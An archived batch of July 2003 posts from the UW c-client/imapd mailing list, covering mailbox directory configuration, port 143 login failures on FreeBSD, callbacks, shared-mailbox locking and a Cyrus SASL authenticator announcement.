Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67CbSC0003557 for ; Mon, 7 Jul 2003 05:37:28 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id FAA11713; Mon, 7 Jul 2003 05:37:24 -0700 (PDT) Message-Id: Date: Mon, 7 Jul 2003 05:37:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martynas Buozis Cc: c-client@u.washington.edu Subject: Re: imapd directories In-Reply-To: <3F095793.5040504@ti.com> References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='__USER_AGENT_PINE, __IN_REP_TO, __REFERENCES, MSG_ID_ADDED_BY_MTA_3, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_08_13' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 Jul 2003, Martynas Buozis wrote: > After examining other parts of code I decided to go for changing > env_init procedure and ensure, that myHomeDir will be set up to point > not to real home dir, but /data/mail/. The entire reason why there are separate myhomedir() and mymailboxdir() routines are to eliminate the need to do this. > Do you see any possible problems about this ? This looks more satisfying > for me as I want all mail and imap related files (including > configuration files) to be located in that specific directory, not in > real home directory. The only files which are in myhomedir() instead of mymailboxdir() are those files which MUST be in the home directory. So making that change actually breaks something. If you're having problems with your change to mymailboxdir(), then you need to debug that change and get it working, rather than make unwise changes elsewhere. > I understand chroot problems quite well, but in that case what should I > go for to ensure, that users will be able to see only files in > /data/mail/ ? I found restrictBox value but after some sort of > critics about blackBox and closedBox choices I am not sure if it can be > what I would like to go for ?... restrictBox is the correct thing to use. But first you need to debug the mymailboxdir() change. You don't want to make things more complicated until you get the simple thing working. The problem is undoubtably some basic error that you made. I suggest that you follow my earlier suggestion of running imapd under gdb with breakpoints set so you see what file path is being built by mailboxfile(). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jul 7 07:28:02 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jul 2003 07:28:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67ES1vu018810 for ; Mon, 7 Jul 2003 07:28:01 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67ERxof031240 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Jul 2003 07:27:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h67ERqTB021548; Mon, 7 Jul 2003 07:27:52 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67EPR2x032538 for ; Mon, 7 Jul 2003 07:25:27 -0700 Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h67EPOJM029248 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 7 Jul 2003 07:25:25 -0700 Received: from dlep51.itg.ti.com ([157.170.141.75]) by jester.ti.com (8.12.9/8.12.9) with ESMTP id h67EPKm1016104; Mon, 7 Jul 2003 09:25:21 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep51.itg.ti.com (8.12.9/8.12.9) with ESMTP id h67EPJBO012343; Mon, 7 Jul 2003 09:25:19 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h67EPIZt012690; Mon, 7 Jul 2003 16:25:18 +0200 (MEST) Message-Id: <3F0982CE.3060502@ti.com> Date: Mon, 07 Jul 2003 16:25:18 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd directories References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> <3F095793.5040504@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='X_ACCEPT_LANG, __EVITE_CTYPE, __REFERENCES, REFERENCES, QUOTED_EMAIL_TEXT, SPAM_PHRASE_01_02' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi again >>After examining other parts of code I decided to go for changing >>env_init procedure and ensure, that myHomeDir will be set up to point >>not to real home dir, but /data/mail/. > > The entire reason why there are separate myhomedir() and mymailboxdir() > routines are to eliminate the need to do this. > > The only files which are in myhomedir() instead of mymailboxdir() are > those files which MUST be in the home directory. So making that change > actually breaks something. Well ... Requirement to change default location of directories for mail services is caused by specific environment. It requires no files in home directory that are not tied with a specific services. So all usual home directory files, related with mail services, in this environment must exists not in home directory (including INBOX, .imaprc, .mailboxlist and etc.). Otherwise I would probably go for linking mailsubdir directory where would I like it to be and do not look for any deeper changes in code. So what I am really looking for is to change home directory returned by default in getpwnam() - not only IMAP folders directory. For other mail related services I am doing this too. So is it really a difference if ALL files will exists in /data/mail/ instead of directory, that is in /etc/passwd for a user ? With best regards Martynas From pinedev@shivax2.cac.washington.edu Tue Jul 8 13:20:53 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Jul 2003 13:20:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h68KKqvu017275 for ; Tue, 8 Jul 2003 13:20:52 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h68KKoWO010633 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 8 Jul 2003 13:20:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h68KKiKH004670; Tue, 8 Jul 2003 13:20:44 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h68KHq2x027116 for ; Tue, 8 Jul 2003 13:17:52 -0700 Received: from firewire.nightrealmstudios.com (puddle31.drizzle.com [216.162.217.31]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h68KHorM020473 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 8 Jul 2003 13:17:51 -0700 Received: from firewire.nightrealmstudios.com (localhost.nightrealmstudios.com [127.0.0.1]) by firewire.nightrealmstudios.com (8.12.8p1/8.12.8) with ESMTP id h68KCd8T082085 for ; Tue, 8 Jul 2003 13:12:39 -0700 (PDT) (envelope-from naga@firewire.nightrealmstudios.com) Received: from localhost (naga@localhost) by firewire.nightrealmstudios.com (8.12.8p1/8.12.8/Submit) with ESMTP id h68KCcbx082082 for ; Tue, 8 Jul 2003 13:12:39 -0700 (PDT) Message-Id: <20030708130503.G82072@firewire.nightrealmstudios.com> Date: Tue, 8 Jul 2003 13:12:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: User NAGA To: c-client@u.washington.edu Subject: FreeBSD Imap Help MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=XXX, Probability=30%, Report='NO_MX_FOR_FROM, SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I've been searching everywhere for Imap help on FreeBSD and apparently this list is my last hope. I've always used Imap in the past but I cant seem to get the new version of FreeBSD and Imap to work properly. What I want: All I want is STANDARD IMAP. I want to be able to login directly using Port 143 or one of my Webmail clients (which no longer work with the newer version of imap-uw. Everytime I try to login with this new version using the standard port 143 on outlook or webmail I get "Login rejected" and bad password errors. I have read the docs thoroughly, searched all over the net and various bulletin boards and am getting no help anywhere. I've reinstalled imap-uw over 50 times now using everything from the standard "make install" to the "make -DWITH_SSL_AND_PLAINTEXT=yes install", make SSLTYPE=unix install, "make WITHOUT_SSL=yes install" and None of it seems to work for port 143???? Port 993 works fine but I need the standard port 143 to work Each time I remake and install, I make sure the following line is in my inetd.conf file: imap4 stream tcp nowait root /usr/local/libexec/imapd imapd and per the install notes, though this part was new to me, I added the following sections to my /etc/pam.conf file imap auth required pam_unix.so imap account required pam_unix.so try_first_pass imap session required pam_deny.so Can someone out there please tell me, or point me to a straightforward explanation of how I can get imap to work Normal on port 143 or what I'm messing up on? I would really appreciate the help as after 3 weeks I am literally pulling my hair out over what Used to be a VERY simple installation procedure! Thank you very much! Rebecca -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 8 18:49:56 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Jul 2003 18:49:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h691ntvu029888 for ; Tue, 8 Jul 2003 18:49:55 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h691nrof031832 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 8 Jul 2003 18:49:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h691nlTB025778; Tue, 8 Jul 2003 18:49:47 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h691mW2x043624 for ; Tue, 8 Jul 2003 18:48:32 -0700 Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h691mUrL023960 for ; Tue, 8 Jul 2003 18:48:31 -0700 Received: from user-12hc80c.cable.mindspring.com ([69.22.32.12] helo=[192.168.70.100]) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 19a44I-0006tO-00; Tue, 08 Jul 2003 18:48:26 -0700 Message-Id: <1057715365.1524.3.camel@linux> Date: 08 Jul 2003 20:49:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: pheonix1t To: User NAGA Cc: c-client@u.washington.edu Subject: Re: FreeBSD Imap Help In-Reply-To: <20030708130503.G82072@firewire.nightrealmstudios.com> References: <20030708130503.G82072@firewire.nightrealmstudios.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='__IN_REP_TO, __REFERENCES, FORGED_RCVD_TRAIL, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 2003-07-08 at 15:12, User NAGA wrote: > Hi! I've been searching everywhere for Imap help on FreeBSD and > apparently this list is my last hope. I've always used Imap in the past > but I cant seem to get the new version of FreeBSD and Imap to work > properly. > > What I want: > All I want is STANDARD IMAP. I want to be able to login directly using > Port 143 the new uw-imap works with SSL on port 993. When you test your connections, just choose imap and secure connection, it should work fine. If you want the regular port 143, you have to compile it with the NO AUTH switch or something like that....it's in the documentation. or one of my Webmail clients (which no longer work with the newer > version of imap-uw. Everytime I try to login with this new version using > the standard port 143 on outlook or webmail I get "Login rejected" and bad > password errors. > > I have read the docs thoroughly, searched all over the net and various > bulletin boards and am getting no help anywhere. > > I've reinstalled imap-uw over 50 times now using everything from the > standard "make install" to the "make -DWITH_SSL_AND_PLAINTEXT=yes > install", make SSLTYPE=unix install, "make WITHOUT_SSL=yes install" and > None of it seems to work for port 143???? Port 993 works fine but I need > the standard port 143 to work > > Each time I remake and install, I make sure the following line is in my > inetd.conf file: > > imap4 stream tcp nowait root /usr/local/libexec/imapd imapd > > and per the install notes, though this part was new to me, I added the > following sections to my /etc/pam.conf file > > imap auth required pam_unix.so > imap account required pam_unix.so try_first_pass > imap session required pam_deny.so > > Can someone out there please tell me, or point me to a straightforward > explanation of how I can get imap to work Normal on port 143 or what I'm > messing up on? I would really appreciate the help as after 3 weeks I am > literally pulling my hair out over what Used to be a VERY simple > installation procedure! > > Thank you very much! > > Rebecca > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 12 13:00:29 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 12 Jul 2003 13:00:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6CK0Txd010046 for ; Sat, 12 Jul 2003 13:00:29 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6CK08WO012305 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 12 Jul 2003 13:00:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6CK01J8101642; Sat, 12 Jul 2003 13:00:01 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6CJwM2x033814 for ; Sat, 12 Jul 2003 12:58:23 -0700 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6CJwDJL017249 for ; Sat, 12 Jul 2003 12:58:13 -0700 Received: from [192.168.1.27] (pcp02336402pcs.echryh01.nj.comcast.net[68.84.64.114](untrusted sender)) by comcast.net (rwcrmhc11) with ESMTP id <20030712195808013005p2upe>; Sat, 12 Jul 2003 19:58:12 +0000 Message-Id: Date: Sat, 12 Jul 2003 15:58:04 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralph Dratman To: c-client@u.washington.edu Subject: imapd "Login disabled" errors, FreeBSD 4.7 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Sender: ralph99@popmail.voicenet.com X-Uwash-Spam: Gauge=XI, Probability=11%, Report='__EVITE_CTYPE, SPAM_PHRASE_03_05, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. I've been told that this list is the right place to ask questions about IMAP authentication problems. I am running (well, trying to run) imap-uw 2002c1 on FreeBSD 4.7. I cannot fetch mail via imapd, and keep getting log entries that look like ------------- imapd[12345]: Login disabled user=joe auth=joe host=abc.def.com ------------- I've tried various build options, but can't seem to make any progress with this issue. I've been running POP and SMTP servers here for several years, but the authorization issues seem to be more complex for imap. Can anyone offer specific advice, or else point me to some kind of book or tutorial material? Thank you. Regards, Ralph -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 18 12:29:40 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 18 Jul 2003 12:29:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6IJTexd029816 for ; Fri, 18 Jul 2003 12:29:40 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6IJTbWO008900 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 18 Jul 2003 12:29:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6IJTUJ8101664; Fri, 18 Jul 2003 12:29:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6IJRV2x028304 for ; Fri, 18 Jul 2003 12:27:31 -0700 Received: from 216-239-45-4.google.com (216-239-45-4.google.com [216.239.45.4]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6IJRUJL011019 for ; Fri, 18 Jul 2003 12:27:31 -0700 Received: from OMARCORP (dhcp55.corp.google.com [10.3.1.55]) by 216-239-45-4.google.com (8.12.9/8.12.6) with ESMTP id h6IJRUSY025592 for ; Fri, 18 Jul 2003 12:27:30 -0700 Message-Id: <001e01c34d62$a0787b10$3701030a@corp.google.com> Date: Fri, 18 Jul 2003 12:27:28 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Omar Khan" To: Subject: Search and callbacks MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XXI, Probability=21%, Report='__HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, MSG_ID_ADDED_BY_MTA_3, PRIORITY_NO_NAME, SPAM_PHRASE_00_01, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Two questions... On the comp.mail.imap newsgroup just recently Mark Crispin told me that the best way to get messages between two uids was: >Why not use :*? That is, if the last known UID is >32121, do 32122:*. So in c-client, is the best interpretation to use a search with the searchset first and last properties equal to the first and last uid... Or is there another more appropriate way? 2nd question... Callbacks. I know you shouldn't call a mail_* function from within a callback (say mm_exists). So suppose that call back gets innundated with 20 new messages and we want to process them. What's the recommended way of doing this? (essentially my program is waiting around and checks for new messages every 5 minutes or so... But I can't call the mail_* functions from within the callback because of the lock) Thanks omar -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 23 04:06:29 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jul 2003 04:06:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NB6Txd025680 for ; Wed, 23 Jul 2003 04:06:29 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NB6PWO021639 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Jul 2003 04:06:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6NB6JJ8028214; Wed, 23 Jul 2003 04:06:19 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NB3A2x030010 for ; Wed, 23 Jul 2003 04:03:10 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.29]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NB38C0020915 for ; Wed, 23 Jul 2003 04:03:08 -0700 Received: from smtp.qub.ac.uk (actually host smtp2.qub.ac.uk) by mailhub2.qub.ac.uk with SMTP-CENTRAL (XT-PP) with ESMTP; Wed, 23 Jul 2003 11:02:51 +0000 Received: from [143.117.9.178] (helo=cmcd1) by smtp.qub.ac.uk with smtp (Exim 4.10) id 19fHOT-0000Qo-00 for c-client@u.washington.edu; Wed, 23 Jul 2003 11:02:49 +0000 Message-Id: <001f01c35109$cfb33690$b209758f@cc.qub.ac.uk> Date: Wed, 23 Jul 2003 12:01:47 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: c-client Subject: sharing mailboxes MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XXXII, Probability=32%, Report='MSGID_4NUMS_DOLLAR, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, TO_LOCALPART_EQ_REAL, PRIORITY_NO_NAME, SUPERLONG_LINE, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Folks, I'm attempting to set up a mechanism on a sparc Solaris 8 platform to = allow a user e.g. a secretary to have access to another user's mailbox. = I have approached this by setting both users to be the same group and = setting the INBOX file (mbx format) to have group rw permissions. = Mailboxes are in /folders/${username}. I'm working with Outlook XP as a = client (not through my choice) and by setting the root folder path to = /folders I can display and subscribe to the other user's INBOX file. On = a test machine I have complete rw access to the second mailbox but when = I try the same thing on the machine in service I encounter problems. I = can subscribe to the INBOX file OK but access is another matter. If I = can see the contents of the folder at all any attempt to interact with = it results in an error message e.g. Unable to lock mailbox. I have tried = the same exercise with Netscape and the same thing happens. The only = difference between the test and service machines is the level of = activity. Both have the latest version of imapd installed. Any ideas as = to why these locking problems should occur on a busy machine? Thanks, Clive McDowell Information Services The Queen's University of Belfast -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 23 12:43:59 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Jul 2003 12:43:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NJhwxd010937 for ; Wed, 23 Jul 2003 12:43:58 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NJhrWO007507 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Jul 2003 12:43:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6NJhiOL020668; Wed, 23 Jul 2003 12:43:44 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NJgS2x042144 for ; Wed, 23 Jul 2003 12:42:28 -0700 Received: from server.macmgr.com (adsl-66-137-254-220.dsl.rcsntx.swbell.net [66.137.254.220]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6NJgLC0008327 for ; Wed, 23 Jul 2003 12:42:26 -0700 Received: by server.macmgr.com (Postfix, from userid 204) id A6B516C89C; Wed, 23 Jul 2003 14:42:20 -0500 (CDT) Received: from jimandlissa.com (unknown [151.138.254.21]) by server.macmgr.com (Postfix) with ESMTP id 264006C84B for ; Wed, 23 Jul 2003 14:42:18 -0500 (CDT) Message-Id: Date: Wed, 23 Jul 2003 14:42:13 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: c-client@u.washington.edu Subject: Cyrus SASL Authenticator Mime-Version: 1.0 (Apple Message framework v578) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Spam-Status: No, hits=-100.0 required=6.0 tests=USER_AGENT_APPLEMAIL,USER_IN_WHITELIST version=2.55-2003052702 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.55-2003052702 (1.174.2.19-2003-05-19-exp) X-Sanitizer: Anomy X-Uwash-Spam: Gauge=XX, Probability=20%, Report='__EVITE_CTYPE, FORGED_RCVD_TRAIL, SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Having had this need/desire for quite some time (and having seen similar requests in the list archives), this past weekend I finally sat down and pounded out a c-client server AUTHENTICATOR that authenticates imapd/ipop[23]d using Cyrus SASL. Why? Well, I am using Postfix + Cyrus SASL for SMTP authentication, and keeping cram-md5.pwd in sync with Cyrus's DB has proven to be a pain. This way, one sasldb or mysql table or whatever Cyrus SASL is using can authenticate POP, IMAP, and SMTP via SASL, something I have wanted for a long time. Since Cyrus SASL dynamically loads mechanisms, I had to do some special handling to get c-client to essentially dynamically load them as well (which it doesn't technically support). It also handles plain text and APOP authentication with a couple of changes to ipop3d.c and osdep/*/env_*.c. I have done testing with plain, APOP, LOGIN, CRAM-MD5, and DIGEST-MD5 on Darwin, and all seems to be working properly; however, this has not been stress-tested and should be considered beta quality at best. If you think this could be useful, please provide feedback and help me with testing. If anyone is interested in more details and/or the code, I can post more information on the list or on a website. Just let me know.... - Jim -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 24 10:40:33 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jul 2003 10:40:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OHeWxd019838 for ; Thu, 24 Jul 2003 10:40:32 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OHeUof015244 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jul 2003 10:40:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6OHeOTB029428; Thu, 24 Jul 2003 10:40:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OHa22x033694 for ; Thu, 24 Jul 2003 10:36:02 -0700 Received: from mailhost.unt.edu (mailhost.unt.edu [129.120.209.40]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OHZwdL029436 for ; Thu, 24 Jul 2003 10:35:58 -0700 Received: from csp03.csci.unt.edu (csp03.csci.unt.edu [129.120.36.67]) by mailhost.unt.edu (8.12.9/8.12.9) with ESMTP id h6OHcOkQ004345 for ; Thu, 24 Jul 2003 12:38:24 -0500 (CDT) Received: by csp03.csci.unt.edu (Postfix, from userid 9087) id CC1FE1787; Thu, 24 Jul 2003 12:35:26 -0500 (CDT) Received: from localhost 